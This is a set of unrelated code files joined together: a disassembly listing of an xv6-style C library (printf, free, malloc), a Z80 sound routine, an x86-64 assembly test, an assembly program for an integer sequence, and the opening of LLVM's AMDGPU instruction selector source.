4ea: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
} else if(c == 's'){
s = (char*)*ap;
4f0: 8b 44 24 0c mov 0xc(%esp),%eax
4f4: 8b 28 mov (%eax),%ebp
ap++;
4f6: 83 c0 04 add $0x4,%eax
4f9: 89 44 24 0c mov %eax,0xc(%esp)
if(s == 0)
s = "(null)";
4fd: b8 01 07 00 00 mov $0x701,%eax
502: 85 ed test %ebp,%ebp
504: 0f 44 e8 cmove %eax,%ebp
while(*s != 0){
507: 0f b6 45 00 movzbl 0x0(%ebp),%eax
50b: 84 c0 test %al,%al
50d: 74 27 je 536 <printf+0x166>
50f: 8d 5c 24 1b lea 0x1b(%esp),%ebx
513: 90 nop
514: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
518: 88 44 24 1b mov %al,0x1b(%esp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
51c: 83 ec 04 sub $0x4,%esp
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
putc(fd, *s);
s++;
51f: 83 c5 01 add $0x1,%ebp
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
522: 6a 01 push $0x1
524: 53 push %ebx
525: 57 push %edi
526: e8 86 fd ff ff call 2b1 <write>
} else if(c == 's'){
s = (char*)*ap;
ap++;
if(s == 0)
s = "(null)";
while(*s != 0){
52b: 0f b6 45 00 movzbl 0x0(%ebp),%eax
52f: 83 c4 10 add $0x10,%esp
532: 84 c0 test %al,%al
534: 75 e2 jne 518 <printf+0x148>
} else {
// Unknown % sequence. Print it to draw attention.
putc(fd, '%');
putc(fd, c);
}
state = 0;
536: 31 ed xor %ebp,%ebp
538: e9 e3 fe ff ff jmp 420 <printf+0x50>
53d: 8d 76 00 lea 0x0(%esi),%esi
540: 88 5c 24 1d mov %bl,0x1d(%esp)
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
544: 83 ec 04 sub $0x4,%esp
547: 6a 01 push $0x1
549: 8d 44 24 25 lea 0x25(%esp),%eax
54d: e9 39 ff ff ff jmp 48b <printf+0xbb>
552: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
} else {
putc(fd, c);
}
} else if(state == '%'){
if(c == 'd'){
printint(fd, *ap, 10, 1);
558: 83 ec 0c sub $0xc,%esp
55b: b9 0a 00 00 00 mov $0xa,%ecx
560: 6a 01 push $0x1
562: e9 63 ff ff ff jmp 4ca <printf+0xfa>
567: 8b 5c 24 0c mov 0xc(%esp),%ebx
#include "user.h"
static void
putc(int fd, char c)
{
write(fd, &c, 1);
56b: 83 ec 04 sub $0x4,%esp
56e: 8b 03 mov (%ebx),%eax
570: 88 44 24 20 mov %al,0x20(%esp)
574: 6a 01 push $0x1
576: 8d 44 24 24 lea 0x24(%esp),%eax
57a: 50 push %eax
57b: 57 push %edi
57c: e8 30 fd ff ff call 2b1 <write>
581: e9 51 ff ff ff jmp 4d7 <printf+0x107>
586: 66 90 xchg %ax,%ax
588: 66 90 xchg %ax,%ax
58a: 66 90 xchg %ax,%ax
58c: 66 90 xchg %ax,%ax
58e: 66 90 xchg %ax,%ax
00000590 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
590: 57 push %edi
591: 56 push %esi
592: 53 push %ebx
593: 8b 5c 24 10 mov 0x10(%esp),%ebx
Header *bp, *p;
bp = (Header*) ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
597: a1 50 0a 00 00 mov 0xa50,%eax
void
free(void *ap)
{
Header *bp, *p;
bp = (Header*) ap - 1;
59c: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
59f: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*) ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5a1: 39 c8 cmp %ecx,%eax
5a3: 73 13 jae 5b8 <free+0x28>
5a5: 8d 76 00 lea 0x0(%esi),%esi
5a8: 39 d1 cmp %edx,%ecx
5aa: 72 14 jb 5c0 <free+0x30>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5ac: 39 d0 cmp %edx,%eax
5ae: 73 10 jae 5c0 <free+0x30>
static Header base;
static Header *freep;
void
free(void *ap)
{
5b0: 89 d0 mov %edx,%eax
Header *bp, *p;
bp = (Header*) ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5b2: 39 c8 cmp %ecx,%eax
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5b4: 8b 10 mov (%eax),%edx
free(void *ap)
{
Header *bp, *p;
bp = (Header*) ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
5b6: 72 f0 jb 5a8 <free+0x18>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
5b8: 39 d0 cmp %edx,%eax
5ba: 72 f4 jb 5b0 <free+0x20>
5bc: 39 d1 cmp %edx,%ecx
5be: 73 f0 jae 5b0 <free+0x20>
break;
if(bp + bp->s.size == p->s.ptr){
5c0: 8b 73 fc mov -0x4(%ebx),%esi
5c3: 8d 3c f1 lea (%ecx,%esi,8),%edi
5c6: 39 d7 cmp %edx,%edi
5c8: 74 18 je 5e2 <free+0x52>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
5ca: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
5cd: 8b 50 04 mov 0x4(%eax),%edx
5d0: 8d 34 d0 lea (%eax,%edx,8),%esi
5d3: 39 f1 cmp %esi,%ecx
5d5: 74 20 je 5f7 <free+0x67>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
5d7: 89 08 mov %ecx,(%eax)
freep = p;
5d9: a3 50 0a 00 00 mov %eax,0xa50
}
5de: 5b pop %ebx
5df: 5e pop %esi
5e0: 5f pop %edi
5e1: c3 ret
bp = (Header*) ap - 1;
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
break;
if(bp + bp->s.size == p->s.ptr){
bp->s.size += p->s.ptr->s.size;
5e2: 03 72 04 add 0x4(%edx),%esi
5e5: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
5e8: 8b 12 mov (%edx),%edx
5ea: 89 53 f8 mov %edx,-0x8(%ebx)
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
5ed: 8b 50 04 mov 0x4(%eax),%edx
5f0: 8d 34 d0 lea (%eax,%edx,8),%esi
5f3: 39 f1 cmp %esi,%ecx
5f5: 75 e0 jne 5d7 <free+0x47>
p->s.size += bp->s.size;
5f7: 03 53 fc add -0x4(%ebx),%edx
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
freep = p;
5fa: a3 50 0a 00 00 mov %eax,0xa50
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
if(p + p->s.size == bp){
p->s.size += bp->s.size;
5ff: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
602: 8b 53 f8 mov -0x8(%ebx),%edx
605: 89 10 mov %edx,(%eax)
} else
p->s.ptr = bp;
freep = p;
}
607: 5b pop %ebx
608: 5e pop %esi
609: 5f pop %edi
60a: c3 ret
60b: 90 nop
60c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
00000610 <malloc>:
return freep;
}
void*
malloc(uint nbytes)
{
610: 57 push %edi
611: 56 push %esi
612: 53 push %ebx
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
613: 8b 44 24 10 mov 0x10(%esp),%eax
if((prevp = freep) == 0){
617: 8b 15 50 0a 00 00 mov 0xa50,%edx
malloc(uint nbytes)
{
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
61d: 8d 78 07 lea 0x7(%eax),%edi
620: c1 ef 03 shr $0x3,%edi
623: 83 c7 01 add $0x1,%edi
if((prevp = freep) == 0){
626: 85 d2 test %edx,%edx
628: 0f 84 a0 00 00 00 je 6ce <malloc+0xbe>
62e: 8b 02 mov (%edx),%eax
630: 8b 48 04 mov 0x4(%eax),%ecx
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
633: 39 cf cmp %ecx,%edi
635: 76 71 jbe 6a8 <malloc+0x98>
637: 81 ff 00 10 00 00 cmp $0x1000,%edi
63d: be 00 10 00 00 mov $0x1000,%esi
642: 8d 1c fd 00 00 00 00 lea 0x0(,%edi,8),%ebx
649: 0f 43 f7 cmovae %edi,%esi
64c: ba 00 80 00 00 mov $0x8000,%edx
651: 81 ff ff 0f 00 00 cmp $0xfff,%edi
657: 0f 46 da cmovbe %edx,%ebx
65a: eb 0d jmp 669 <malloc+0x59>
65c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
660: 8b 02 mov (%edx),%eax
if(p->s.size >= nunits){
662: 8b 48 04 mov 0x4(%eax),%ecx
665: 39 cf cmp %ecx,%edi
667: 76 3f jbe 6a8 <malloc+0x98>
p->s.size = nunits;
}
freep = prevp;
return (void*) (p + 1);
}
if(p == freep)
669: 39 05 50 0a 00 00 cmp %eax,0xa50
66f: 89 c2 mov %eax,%edx
671: 75 ed jne 660 <malloc+0x50>
char *p;
Header *hp;
if(nu < PAGE)
nu = PAGE;
p = sbrk(nu * sizeof(Header));
673: 83 ec 0c sub $0xc,%esp
676: 53 push %ebx
677: e8 9d fc ff ff call 319 <sbrk>
if(p == (char*) -1)
67c: 83 c4 10 add $0x10,%esp
67f: 83 f8 ff cmp $0xffffffff,%eax
682: 74 1c je 6a0 <malloc+0x90>
return 0;
hp = (Header*)p;
hp->s.size = nu;
684: 89 70 04 mov %esi,0x4(%eax)
free((void*)(hp + 1));
687: 83 ec 0c sub $0xc,%esp
68a: 83 c0 08 add $0x8,%eax
68d: 50 push %eax
68e: e8 fd fe ff ff call 590 <free>
return freep;
693: 8b 15 50 0a 00 00 mov 0xa50,%edx
}
freep = prevp;
return (void*) (p + 1);
}
if(p == freep)
if((p = morecore(nunits)) == 0)
699: 83 c4 10 add $0x10,%esp
69c: 85 d2 test %edx,%edx
69e: 75 c0 jne 660 <malloc+0x50>
return 0;
6a0: 31 c0 xor %eax,%eax
6a2: eb 1c jmp 6c0 <malloc+0xb0>
6a4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
6a8: 39 cf cmp %ecx,%edi
6aa: 74 1c je 6c8 <malloc+0xb8>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
6ac: 29 f9 sub %edi,%ecx
6ae: 89 48 04 mov %ecx,0x4(%eax)
p += p->s.size;
6b1: 8d 04 c8 lea (%eax,%ecx,8),%eax
p->s.size = nunits;
6b4: 89 78 04 mov %edi,0x4(%eax)
}
freep = prevp;
6b7: 89 15 50 0a 00 00 mov %edx,0xa50
return (void*) (p + 1);
6bd: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
6c0: 5b pop %ebx
6c1: 5e pop %esi
6c2: 5f pop %edi
6c3: c3 ret
6c4: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
if(p->s.size >= nunits){
if(p->s.size == nunits)
prevp->s.ptr = p->s.ptr;
6c8: 8b 08 mov (%eax),%ecx
6ca: 89 0a mov %ecx,(%edx)
6cc: eb e9 jmp 6b7 <malloc+0xa7>
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
if((prevp = freep) == 0){
base.s.ptr = freep = prevp = &base;
6ce: c7 05 50 0a 00 00 54 movl $0xa54,0xa50
6d5: 0a 00 00
6d8: c7 05 54 0a 00 00 54 movl $0xa54,0xa54
6df: 0a 00 00
base.s.size = 0;
6e2: b8 54 0a 00 00 mov $0xa54,%eax
6e7: c7 05 58 0a 00 00 00 movl $0x0,0xa58
6ee: 00 00 00
6f1: e9 41 ff ff ff jmp 637 <malloc+0x27>
|
SECTION code_clib
SECTION code_sound_bit
PUBLIC _bitfx_27
INCLUDE "config_private.inc"
EXTERN asm_bit_beep_raw
_bitfx_27:
ld hl,1124
ld de,1
fx4_1:
push de
push hl
call asm_bit_beep_raw
pop hl
pop de
push de
push hl
ld bc,900
sbc hl,bc
call asm_bit_beep_raw
pop hl
pop de
inc hl
ld a,l
or a
jr nz, fx4_1
scf
ret
|
%ifdef CONFIG
{
"RegData": {
"RAX": "0x1",
"RBX": "0x0"
},
"MemoryRegions": {
"0x100000000": "4096"
}
}
%endif
mov r15, 0xe0000000
mov r10, 0x1
mov r11, 0x0
mov r12, 0x1
cmp r10d, r12d
mov rax, 0
mov rbx, 0
setz al
setnz bl
hlt
|
; A199925: Number of sequences of n coin flips that win on the last flip, if the sequence of flips ends with (0,0,1,1).
; Submitted by Christian Krause
; 0,0,0,1,2,4,8,14,25,45,80,142,253,450,800,1423,2531,4501,8005,14237,25320,45031,80087,142433,253314,450514,801230,1424971,2534282,4507169,8015908,14256129,25354235,45091990,80195185,142625502,253656548
sub $0,2
mov $5,1
lpb $0
sub $0,1
add $1,$5
add $1,1
sub $4,$5
mul $4,$2
mov $3,$4
mov $4,$2
mov $2,$1
div $3,$1
mov $1,$3
add $1,$5
add $4,1
add $5,$4
lpe
mov $0,$1
|
//===- AMDGPUInstructionSelector.cpp ----------------------------*- C++ -*-==//
//
// Part of the LLVM Project, under the Apache License v2.0 with LLVM Exceptions.
// See https://llvm.org/LICENSE.txt for license information.
// SPDX-License-Identifier: Apache-2.0 WITH LLVM-exception
//
//===----------------------------------------------------------------------===//
/// \file
/// This file implements the targeting of the InstructionSelector class for
/// AMDGPU.
/// \todo This should be generated by TableGen.
//===----------------------------------------------------------------------===//
#include "AMDGPUInstructionSelector.h"
#include "AMDGPUInstrInfo.h"
#include "AMDGPUGlobalISelUtils.h"
#include "AMDGPURegisterBankInfo.h"
#include "AMDGPUSubtarget.h"
#include "AMDGPUTargetMachine.h"
#include "MCTargetDesc/AMDGPUMCTargetDesc.h"
#include "SIMachineFunctionInfo.h"
#include "llvm/CodeGen/GlobalISel/GISelKnownBits.h"
#include "llvm/CodeGen/GlobalISel/InstructionSelector.h"
#include "llvm/CodeGen/GlobalISel/InstructionSelectorImpl.h"
#include "llvm/CodeGen/GlobalISel/MachineIRBuilder.h"
#include "llvm/CodeGen/GlobalISel/MIPatternMatch.h"
#include "llvm/CodeGen/GlobalISel/Utils.h"
#include "llvm/CodeGen/MachineBasicBlock.h"
#include "llvm/CodeGen/MachineFunction.h"
#include "llvm/CodeGen/MachineInstr.h"
#include "llvm/CodeGen/MachineInstrBuilder.h"
#include "llvm/CodeGen/MachineRegisterInfo.h"
#include "llvm/IR/Type.h"
#include "llvm/Support/Debug.h"
#include "llvm/Support/raw_ostream.h"
#define DEBUG_TYPE "amdgpu-isel"
using namespace llvm;
using namespace MIPatternMatch;
static cl::opt<bool> AllowRiskySelect(
"amdgpu-global-isel-risky-select",
cl::desc("Allow GlobalISel to select cases that are likely to not work yet"),
cl::init(false),
cl::ReallyHidden);
#define GET_GLOBALISEL_IMPL
#define AMDGPUSubtarget GCNSubtarget
#include "AMDGPUGenGlobalISel.inc"
#undef GET_GLOBALISEL_IMPL
#undef AMDGPUSubtarget
AMDGPUInstructionSelector::AMDGPUInstructionSelector(
const GCNSubtarget &STI, const AMDGPURegisterBankInfo &RBI,
const AMDGPUTargetMachine &TM)
: InstructionSelector(), TII(*STI.getInstrInfo()),
TRI(*STI.getRegisterInfo()), RBI(RBI), TM(TM),
STI(STI),
EnableLateStructurizeCFG(AMDGPUTargetMachine::EnableLateStructurizeCFG),
#define GET_GLOBALISEL_PREDICATES_INIT
#include "AMDGPUGenGlobalISel.inc"
#undef GET_GLOBALISEL_PREDICATES_INIT
#define GET_GLOBALISEL_TEMPORARIES_INIT
#include "AMDGPUGenGlobalISel.inc"
#undef GET_GLOBALISEL_TEMPORARIES_INIT
{
}
const char *AMDGPUInstructionSelector::getName() { return DEBUG_TYPE; }
void AMDGPUInstructionSelector::setupMF(MachineFunction &MF, GISelKnownBits &KB,
CodeGenCoverage &CoverageInfo) {
MRI = &MF.getRegInfo();
InstructionSelector::setupMF(MF, KB, CoverageInfo);
}
bool AMDGPUInstructionSelector::isVCC(Register Reg,
const MachineRegisterInfo &MRI) const {
// The verifier is oblivious to s1 being a valid value for wavesize registers.
if (Reg.isPhysical())
return false;
auto &RegClassOrBank = MRI.getRegClassOrRegBank(Reg);
const TargetRegisterClass *RC =
RegClassOrBank.dyn_cast<const TargetRegisterClass*>();
if (RC) {
const LLT Ty = MRI.getType(Reg);
return RC->hasSuperClassEq(TRI.getBoolRC()) &&
Ty.isValid() && Ty.getSizeInBits() == 1;
}
const RegisterBank *RB = RegClassOrBank.get<const RegisterBank *>();
return RB->getID() == AMDGPU::VCCRegBankID;
}
bool AMDGPUInstructionSelector::constrainCopyLikeIntrin(MachineInstr &MI,
unsigned NewOpc) const {
MI.setDesc(TII.get(NewOpc));
MI.RemoveOperand(1); // Remove intrinsic ID.
MI.addOperand(*MF, MachineOperand::CreateReg(AMDGPU::EXEC, false, true));
MachineOperand &Dst = MI.getOperand(0);
MachineOperand &Src = MI.getOperand(1);
// TODO: This should be legalized to s32 if needed
if (MRI->getType(Dst.getReg()) == LLT::scalar(1))
return false;
const TargetRegisterClass *DstRC
= TRI.getConstrainedRegClassForOperand(Dst, *MRI);
const TargetRegisterClass *SrcRC
= TRI.getConstrainedRegClassForOperand(Src, *MRI);
if (!DstRC || DstRC != SrcRC)
return false;
return RBI.constrainGenericRegister(Dst.getReg(), *DstRC, *MRI) &&
RBI.constrainGenericRegister(Src.getReg(), *SrcRC, *MRI);
}
bool AMDGPUInstructionSelector::selectCOPY(MachineInstr &I) const {
const DebugLoc &DL = I.getDebugLoc();
MachineBasicBlock *BB = I.getParent();
I.setDesc(TII.get(TargetOpcode::COPY));
const MachineOperand &Src = I.getOperand(1);
MachineOperand &Dst = I.getOperand(0);
Register DstReg = Dst.getReg();
Register SrcReg = Src.getReg();
if (isVCC(DstReg, *MRI)) {
if (SrcReg == AMDGPU::SCC) {
const TargetRegisterClass *RC
= TRI.getConstrainedRegClassForOperand(Dst, *MRI);
if (!RC)
return true;
return RBI.constrainGenericRegister(DstReg, *RC, *MRI);
}
if (!isVCC(SrcReg, *MRI)) {
// TODO: Should probably leave the copy and let copyPhysReg expand it.
if (!RBI.constrainGenericRegister(DstReg, *TRI.getBoolRC(), *MRI))
return false;
const TargetRegisterClass *SrcRC
= TRI.getConstrainedRegClassForOperand(Src, *MRI);
Register MaskedReg = MRI->createVirtualRegister(SrcRC);
// We can't trust the high bits at this point, so clear them.
// TODO: Skip masking high bits if def is known boolean.
unsigned AndOpc = TRI.isSGPRClass(SrcRC) ?
AMDGPU::S_AND_B32 : AMDGPU::V_AND_B32_e32;
BuildMI(*BB, &I, DL, TII.get(AndOpc), MaskedReg)
.addImm(1)
.addReg(SrcReg);
BuildMI(*BB, &I, DL, TII.get(AMDGPU::V_CMP_NE_U32_e64), DstReg)
.addImm(0)
.addReg(MaskedReg);
if (!MRI->getRegClassOrNull(SrcReg))
MRI->setRegClass(SrcReg, SrcRC);
I.eraseFromParent();
return true;
}
const TargetRegisterClass *RC =
TRI.getConstrainedRegClassForOperand(Dst, *MRI);
if (RC && !RBI.constrainGenericRegister(DstReg, *RC, *MRI))
return false;
return true;
}
for (const MachineOperand &MO : I.operands()) {
if (Register::isPhysicalRegister(MO.getReg()))
continue;
const TargetRegisterClass *RC =
TRI.getConstrainedRegClassForOperand(MO, *MRI);
if (!RC)
continue;
RBI.constrainGenericRegister(MO.getReg(), *RC, *MRI);
}
return true;
}
bool AMDGPUInstructionSelector::selectPHI(MachineInstr &I) const {
const Register DefReg = I.getOperand(0).getReg();
const LLT DefTy = MRI->getType(DefReg);
if (DefTy == LLT::scalar(1)) {
if (!AllowRiskySelect) {
LLVM_DEBUG(dbgs() << "Skipping risky boolean phi\n");
return false;
}
LLVM_DEBUG(dbgs() << "Selecting risky boolean phi\n");
}
// TODO: Verify this doesn't have insane operands (i.e. VGPR to SGPR copy)
const RegClassOrRegBank &RegClassOrBank =
MRI->getRegClassOrRegBank(DefReg);
const TargetRegisterClass *DefRC
= RegClassOrBank.dyn_cast<const TargetRegisterClass *>();
if (!DefRC) {
if (!DefTy.isValid()) {
LLVM_DEBUG(dbgs() << "PHI operand has no type, not a gvreg?\n");
return false;
}
const RegisterBank &RB = *RegClassOrBank.get<const RegisterBank *>();
DefRC = TRI.getRegClassForTypeOnBank(DefTy, RB, *MRI);
if (!DefRC) {
LLVM_DEBUG(dbgs() << "PHI operand has unexpected size/bank\n");
return false;
}
}
// TODO: Verify that all registers have the same bank
I.setDesc(TII.get(TargetOpcode::PHI));
return RBI.constrainGenericRegister(DefReg, *DefRC, *MRI);
}
MachineOperand
AMDGPUInstructionSelector::getSubOperand64(MachineOperand &MO,
const TargetRegisterClass &SubRC,
unsigned SubIdx) const {
MachineInstr *MI = MO.getParent();
MachineBasicBlock *BB = MO.getParent()->getParent();
Register DstReg = MRI->createVirtualRegister(&SubRC);
if (MO.isReg()) {
unsigned ComposedSubIdx = TRI.composeSubRegIndices(MO.getSubReg(), SubIdx);
Register Reg = MO.getReg();
BuildMI(*BB, MI, MI->getDebugLoc(), TII.get(AMDGPU::COPY), DstReg)
.addReg(Reg, 0, ComposedSubIdx);
return MachineOperand::CreateReg(DstReg, MO.isDef(), MO.isImplicit(),
MO.isKill(), MO.isDead(), MO.isUndef(),
MO.isEarlyClobber(), 0, MO.isDebug(),
MO.isInternalRead());
}
assert(MO.isImm());
APInt Imm(64, MO.getImm());
switch (SubIdx) {
default:
llvm_unreachable("do not know to split immediate with this sub index.");
case AMDGPU::sub0:
return MachineOperand::CreateImm(Imm.getLoBits(32).getSExtValue());
case AMDGPU::sub1:
return MachineOperand::CreateImm(Imm.getHiBits(32).getSExtValue());
}
}
static unsigned getLogicalBitOpcode(unsigned Opc, bool Is64) {
switch (Opc) {
case AMDGPU::G_AND:
return Is64 ? AMDGPU::S_AND_B64 : AMDGPU::S_AND_B32;
case AMDGPU::G_OR:
return Is64 ? AMDGPU::S_OR_B64 : AMDGPU::S_OR_B32;
case AMDGPU::G_XOR:
return Is64 ? AMDGPU::S_XOR_B64 : AMDGPU::S_XOR_B32;
default:
llvm_unreachable("not a bit op");
}
}
bool AMDGPUInstructionSelector::selectG_AND_OR_XOR(MachineInstr &I) const {
Register DstReg = I.getOperand(0).getReg();
unsigned Size = RBI.getSizeInBits(DstReg, *MRI, TRI);
const RegisterBank *DstRB = RBI.getRegBank(DstReg, *MRI, TRI);
if (DstRB->getID() != AMDGPU::SGPRRegBankID &&
DstRB->getID() != AMDGPU::VCCRegBankID)
return false;
bool Is64 = Size > 32 || (DstRB->getID() == AMDGPU::VCCRegBankID &&
STI.isWave64());
I.setDesc(TII.get(getLogicalBitOpcode(I.getOpcode(), Is64)));
// Dead implicit-def of scc
I.addOperand(MachineOperand::CreateReg(AMDGPU::SCC, true, // isDef
true, // isImp
false, // isKill
true)); // isDead
return constrainSelectedInstRegOperands(I, TII, TRI, RBI);
}
bool AMDGPUInstructionSelector::selectG_ADD_SUB(MachineInstr &I) const {
MachineBasicBlock *BB = I.getParent();
MachineFunction *MF = BB->getParent();
Register DstReg = I.getOperand(0).getReg();
const DebugLoc &DL = I.getDebugLoc();
LLT Ty = MRI->getType(DstReg);
if (Ty.isVector())
return false;
unsigned Size = Ty.getSizeInBits();
const RegisterBank *DstRB = RBI.getRegBank(DstReg, *MRI, TRI);
const bool IsSALU = DstRB->getID() == AMDGPU::SGPRRegBankID;
const bool Sub = I.getOpcode() == TargetOpcode::G_SUB;
if (Size == 32) {
if (IsSALU) {
const unsigned Opc = Sub ? AMDGPU::S_SUB_U32 : AMDGPU::S_ADD_U32;
MachineInstr *Add =
BuildMI(*BB, &I, DL, TII.get(Opc), DstReg)
.add(I.getOperand(1))
.add(I.getOperand(2));
I.eraseFromParent();
return constrainSelectedInstRegOperands(*Add, TII, TRI, RBI);
}
if (STI.hasAddNoCarry()) {
const unsigned Opc = Sub ? AMDGPU::V_SUB_U32_e64 : AMDGPU::V_ADD_U32_e64;
I.setDesc(TII.get(Opc));
I.addOperand(*MF, MachineOperand::CreateImm(0));
I.addOperand(*MF, MachineOperand::CreateReg(AMDGPU::EXEC, false, true));
return constrainSelectedInstRegOperands(I, TII, TRI, RBI);
}
const unsigned Opc = Sub ? AMDGPU::V_SUB_CO_U32_e64 : AMDGPU::V_ADD_CO_U32_e64;
Register UnusedCarry = MRI->createVirtualRegister(TRI.getWaveMaskRegClass());
MachineInstr *Add
= BuildMI(*BB, &I, DL, TII.get(Opc), DstReg)
.addDef(UnusedCarry, RegState::Dead)
.add(I.getOperand(1))
.add(I.getOperand(2))
.addImm(0);
I.eraseFromParent();
return constrainSelectedInstRegOperands(*Add, TII, TRI, RBI);
}
assert(!Sub && "illegal sub should not reach here");
const TargetRegisterClass &RC
= IsSALU ? AMDGPU::SReg_64_XEXECRegClass : AMDGPU::VReg_64RegClass;
const TargetRegisterClass &HalfRC
= IsSALU ? AMDGPU::SReg_32RegClass : AMDGPU::VGPR_32RegClass;
MachineOperand Lo1(getSubOperand64(I.getOperand(1), HalfRC, AMDGPU::sub0));
MachineOperand Lo2(getSubOperand64(I.getOperand(2), HalfRC, AMDGPU::sub0));
MachineOperand Hi1(getSubOperand64(I.getOperand(1), HalfRC, AMDGPU::sub1));
MachineOperand Hi2(getSubOperand64(I.getOperand(2), HalfRC, AMDGPU::sub1));
Register DstLo = MRI->createVirtualRegister(&HalfRC);
Register DstHi = MRI->createVirtualRegister(&HalfRC);
if (IsSALU) {
BuildMI(*BB, &I, DL, TII.get(AMDGPU::S_ADD_U32), DstLo)
.add(Lo1)
.add(Lo2);
BuildMI(*BB, &I, DL, TII.get(AMDGPU::S_ADDC_U32), DstHi)
.add(Hi1)
.add(Hi2);
} else {
const TargetRegisterClass *CarryRC = TRI.getWaveMaskRegClass();
Register CarryReg = MRI->createVirtualRegister(CarryRC);
BuildMI(*BB, &I, DL, TII.get(AMDGPU::V_ADD_CO_U32_e64), DstLo)
.addDef(CarryReg)
.add(Lo1)
.add(Lo2)
.addImm(0);
MachineInstr *Addc = BuildMI(*BB, &I, DL, TII.get(AMDGPU::V_ADDC_U32_e64), DstHi)
.addDef(MRI->createVirtualRegister(CarryRC), RegState::Dead)
.add(Hi1)
.add(Hi2)
.addReg(CarryReg, RegState::Kill)
.addImm(0);
if (!constrainSelectedInstRegOperands(*Addc, TII, TRI, RBI))
return false;
}
BuildMI(*BB, &I, DL, TII.get(AMDGPU::REG_SEQUENCE), DstReg)
.addReg(DstLo)
.addImm(AMDGPU::sub0)
.addReg(DstHi)
.addImm(AMDGPU::sub1);
if (!RBI.constrainGenericRegister(DstReg, RC, *MRI))
return false;
I.eraseFromParent();
return true;
}
bool AMDGPUInstructionSelector::selectG_UADDO_USUBO_UADDE_USUBE(
MachineInstr &I) const {
MachineBasicBlock *BB = I.getParent();
MachineFunction *MF = BB->getParent();
const DebugLoc &DL = I.getDebugLoc();
Register Dst0Reg = I.getOperand(0).getReg();
Register Dst1Reg = I.getOperand(1).getReg();
const bool IsAdd = I.getOpcode() == AMDGPU::G_UADDO ||
I.getOpcode() == AMDGPU::G_UADDE;
const bool HasCarryIn = I.getOpcode() == AMDGPU::G_UADDE ||
I.getOpcode() == AMDGPU::G_USUBE;
if (isVCC(Dst1Reg, *MRI)) {
unsigned NoCarryOpc =
IsAdd ? AMDGPU::V_ADD_CO_U32_e64 : AMDGPU::V_SUB_CO_U32_e64;
unsigned CarryOpc = IsAdd ? AMDGPU::V_ADDC_U32_e64 : AMDGPU::V_SUBB_U32_e64;
I.setDesc(TII.get(HasCarryIn ? CarryOpc : NoCarryOpc));
I.addOperand(*MF, MachineOperand::CreateReg(AMDGPU::EXEC, false, true));
I.addOperand(*MF, MachineOperand::CreateImm(0));
return constrainSelectedInstRegOperands(I, TII, TRI, RBI);
}
Register Src0Reg = I.getOperand(2).getReg();
Register Src1Reg = I.getOperand(3).getReg();
if (HasCarryIn) {
BuildMI(*BB, &I, DL, TII.get(AMDGPU::COPY), AMDGPU::SCC)
.addReg(I.getOperand(4).getReg());
}
unsigned NoCarryOpc = IsAdd ? AMDGPU::S_ADD_U32 : AMDGPU::S_SUB_U32;
unsigned CarryOpc = IsAdd ? AMDGPU::S_ADDC_U32 : AMDGPU::S_SUBB_U32;
BuildMI(*BB, &I, DL, TII.get(HasCarryIn ? CarryOpc : NoCarryOpc), Dst0Reg)
.add(I.getOperand(2))
.add(I.getOperand(3));
BuildMI(*BB, &I, DL, TII.get(AMDGPU::COPY), Dst1Reg)
.addReg(AMDGPU::SCC);
